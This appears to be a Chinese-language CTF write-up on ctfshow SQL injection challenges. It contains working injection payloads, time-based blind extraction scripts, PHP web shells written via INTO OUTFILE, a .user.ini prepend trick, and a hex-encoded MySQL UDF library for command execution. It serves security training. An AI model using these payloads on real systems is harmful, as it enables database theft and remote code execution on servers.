DEALLOCATE PREPARE stmt2;

在这道题里就是这样的

1';prepare Sentiment from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa');execute Sentiment;

image-20220511151309635

handler

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

payload

ctfshow';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;--+

web226、228、229、230

查询语句

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
    

返回逻辑

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
  die(json_encode($ret));
}

show被过滤了,那handle就用不了了,因为不能直接show tables看表名,所以只能利用预处理了

转十六进制就行

';prepare a from 0x73686f77207461626c6573;execute a;#

image-20220511152014805

';prepare a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute a;#

image-20220511152050147

当然,要是想预处理查出表名之后再用handler也不是不行(

image-20220511152314670

web227

表里没flag

这道题考点其实是查看MySQL的存储过程
看看网上这篇文章MySQL——查看存储过程和函数
我们去查information_schema.routines

image-20220511163703317

image-20220511163652949

web231

update注入

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
    

返回逻辑

//无过滤

可以看见这里就不是查询语句,而是用update来更新

update更新数据

注入点是api的password和username,都是传POST

可以通过闭合password,在第一个注入点执行where条件查询语句,并将后边的where闭合掉(注入点/api/ post传参username,password),或者是利用时间盲注

当我们POST一个password=user',username=database()#&username=1

刷新一下那个查询界面,就会发现,都变成了ctfshow_web

image-20220511172837773

因为这时候的语句为

update ctfshow_user set pass = 'user',username=database()#&username=1' where username = '{$username}';";

也就是

update ctfshow_user set pass = 'user',username=database()

将database()覆盖了username原来的数据,实现了sql注入

然后就是查表查列名查flag了

payload

password=user',username=(select flagas from flaga) where 1=1#&username=1

web232

查询语句

//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
    

返回逻辑

//无过滤

password经过了md5加密

但是我们可以尝试闭合md5函数,实现逃逸

比如输入

password=1'),username=database()#&username=1

然后整个语句变为

update ctfshow_user set pass = md5('1'),username=database()#') where username = '1';";

也就是

update ctfshow_user set pass = md5('1'),username=database()

image-20220511174011548

后边就和web231一样了

web233

和231一样的代码,也没过滤,就是不给回显了

用这个测一下发现能时间盲注

username=1' or if(1=1,sleep(0.02),0)#&password=1
import requests
import time

url='http://7cf24fdd-904d-48f6-81ac-0b88a27076ca.challenge.ctf.show/api/'

flag=''
for i in range(60):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)#"
        #payload=f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))<{j},sleep(0.02),1)#"
        payload=f"' or if(ascii(substr((select group_concat(flagass233) from flag233333),{i},1))<{j},sleep(0.02),1)#"

        data={
            'username': payload,
            'password':'1'}
        try:
            r=requests.post(url=url,data=data,timeout=0.35)
            min=j
        except:
            max=j

        time.sleep(0.3)

web234

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
    

返回逻辑

//无过滤

虽然嘴上说着没过滤,但是实际上还是过滤了单引号

可以用斜杠注释掉后面的斜杠,让它与username的第一个单引号闭合

这时的语句为

$sql = "update ctfshow_user set pass = '\' where username = 'username';";

因为username可控,我们只要吧最后一个引号注释,那么\' where username = 这部分就相当于password的值,

所以当我们输入password=\&username=,username=database();#

image-20220511175743362

然后就是正常的查询了

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
#banlist,ctfshow_user,flag23a

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
因为过滤了单引号,所以16进制绕过。
#id,flagass23s3,info

password=\&username=,username=(select flagass23s3 from flag23a)#

image-20220511180002985

image-20220511180011342

web235

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
    

返回逻辑

//过滤 or ' 

过滤了or就不能用information了,可以试试从其他表里找表名

image-20220511224228030

用mysql.innodb_table_stats来代替information_schema。table_schema就要改成database_name。语句则是

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

看到表名之后就是利用无列名注入了

https://www.cnblogs.com/GH-D/p/11962522.html

https://zhuanlan.zhihu.com/p/98206699

最终payload为

password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)a)#

web236

update

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
    

返回逻辑

//过滤 or ' flag

其实没过滤,用上个题的payload就行

如果过滤了也可以用这个

username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)-- - &password=\

web237

查询语句

//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

insert就是插入。但其实注入方式和一般的没有区别,只是说自己构造出查询语句,查询的结果返回在那个表当中了

通过第一个注入点将后边’)'闭合即可

username=helloworld',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1

username=helloworld',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#&password=1

username=helloworld',(select group_concat(flagass23s3) from flag))#&password=1

web238

insert注入,过滤空格

用括号注释符都能替代

username=helloworld',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1

username=helloworld',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#&password=1

username=helloworld',(select(group_concat(flag))from(flagb)));#&password=1

web239

过滤了空格和or,因为过滤了or,所以information_schema就用不了了,可以参考web235

username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1

image-20220511225919771

1',(select(flag)from(flagbb)));#&password=1

web240

Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写。过滤空格 or sys mysql

根据前面都是在flag里,所以flag先确定下来。然后直接写脚本

import requests
import itertools
url = "http://a31fe426-9043-4aaf-b986-6270c466a4da.challenge.ctf.show/api/insert.php"
for i in itertools.product('ab', repeat = 5):
    tables = "flag" + ''.join(i)
    payload = {
        'username': f"hellow0rld',(select(group_concat(flag))from({tables})))#",
        'password': '1'
    }
    r = requests.post(url=url, data=payload)

纯爆破

web241

sql语句

$sql = "delete from ctfshow_user where id = {$id}";

delete函数在进行判断后会回显删除成功、或删除失败,所以就不能给予回显内容来爆破数据、所以这里用时间盲注

#@Auth:Sentiment
import requests
url='http://80bc5222-eeb8-4d94-a68a-57d494f5809e.challenge.ctf.show/api/delete.php'
flag=''
for i in range(1,50):
    m=32
    n=127
    while 1:
        mid=(m+n)//2
        data={
        #'id':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.05),1)#".format(i,mid) # banlist,ctfshow_user,flag
        #'id':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))<{},sleep(0.05),0)".format(i,mid) #id,flag,info
        'id':"if(ascii(substr((select flag from flag),{},1))<{},sleep(0.05),0)".format(i,mid) #ctfshow{24de54e5-a424-4e33-b6ff-00da4a72c909}    }
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=1)
           m=mid
        except:
            n=mid
        if(m+1==n):
            flag+=chr(m)
            print(flag)
            break

web242

sql语句

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

----------------------------------------------------
“OPTION”参数为可选参数选项,其可能的取值有:

FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。

LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

FIELDS TERMINATED BY、 LINES STARTING BY、 LINES TERMINATED BY写马

在api/dump.php传POST
filename=ma.php' LINES STARTING BY '<?php eval($_GET[1]);?>'#

然后访问url/dump/ma.php

url/dump/ma.php?1=system('cat /flag.here');

image-20220511230830784

image-20220511230845780

web243

sql语句

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
    

返回逻辑

//过滤了php

可以利用.user.ini

先传

filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
为保证auto_prepend_file=1.jpg在单独一行,所以在开头结尾都加上了0x0a来换行

再传1.jpg就行了

因为过滤了php,可以用短标签或者十六进制绕过:

filename=1.jpg' LINES STARTING BY '<?=eval($_GET[1]);?>'#

然后访问

/dump/index.php?1=system('cat /flag.here');

image-20220511231353361

web244、245

报错注入

updatexml()和extractvalue()应该都可以

web244
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e))+--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),20,30),0x7e))+--+

web245同理

web246

sql语句

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
    

返回逻辑

//无过滤
过滤updatexml extractvalue
    

报错注入

过滤updatexml extractvalue了之后,还有这些可用

1.floor()、round()、ceil()

2.exp() //5.5.5版本之后可以使用

3.name_const 

4.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错

payload

-1' Union select 1,count(*),concat((database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

然后就是正常的查列查字段的操作了

还可以用这种

1' or 1 group by concat_ws(0x7e,(select flag2 from ctfshow_flags),floor(rand(0)*2)) having min(0) or 1 --+

web247

sql语句

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
    

返回逻辑

//无过滤
过滤updatexml extractvalue floor
    

floor也过滤了

round()`和`ceil()`可以代替`floor()

image-20220512175811180

image-20220512175845954

' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa ), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+

-1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 1,1),0x26,ceil(rand(0)*2))x from information_schema.columns group by x;--

后边正常查就行,要注意的就是别忘了加limit,还有就是字段名flag变成了flag?,表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符。所以最终的payload为

http://73673ded-1809-4e00-a9cf-eb2535a42fa6.challenge.ctf.show/api/?id=-1' Union select 1,count(*),concat((select `flag?` from ctfshow_flagsa),0x26,ceil(rand(0)*2))x from information_schema.columns group by x;--+

web248

sql语句

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
    

返回逻辑

//无过滤,

题目提示是udf注入

原理大致就是mysql可以把dll文件写到目标机子的plugin目录,这个目录是可以通过select @@plugin_dir来得到的。

/api/?id=1'; select @@plugin_dir; -- -
查出Mysql插件路径:/usr/lib/mariadb/plugin/

/api/?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+
引入udf.so文件从而创建函数sys_eval

大师傅的脚本

import requests

base_url="http://994eba84-9ea5-4701-b204-01320382100c.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657